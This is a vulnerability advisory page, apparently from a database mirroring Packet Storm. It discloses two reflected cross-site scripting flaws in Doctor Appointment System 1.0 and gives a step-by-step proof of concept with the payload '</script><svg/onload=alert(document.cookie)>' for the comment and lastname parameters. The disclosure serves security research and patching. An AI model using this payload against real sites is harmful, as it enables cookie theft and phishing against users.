Lucene search
K

Doctor Appointment System 1.0 Cross Site Scripting

🗓️ 26 Feb 2021 00:00:00Reported by Soham BakoreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 210 Views

Doctor Appointment System 1.0 Reflected Cross Site Scripting in Comment and Lastname Parameter

Related
Code
`# Exploit Title: Doctor Appointment System 1.0 - Reflected POST based Cross Site Scripting (XSS) in comment parameter  
# Date: 26-02-2021  
# CVE: CVE-2021-27317  
# Exploit Author: Soham Bakore  
# Vendor Homepage: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
comment parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the comment parameter enter following payload to execute arbitrary  
javascript code : '</script><svg/onload=alert(document.cookie)>  
3] This can be used to steal cookies or perform phishing attacks on the web  
application  
------------------  
  
# Exploit Title: Doctor Appointment System 1.0 - Reflected POST based Cross Site Scripting (XSS) in lastname parameter  
# Date: 26-02-2021  
# CVE: CVE-2021-27318  
# Exploit Author: Soham Bakore  
# Vendor Homepage: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
lastname parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the lastname parameter enter following payload to execute arbitrary  
javascript code : '</script><svg/onload=alert(document.cookie)>  
3] This can be used to steal cookies or perform phishing attacks on the web  
application  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation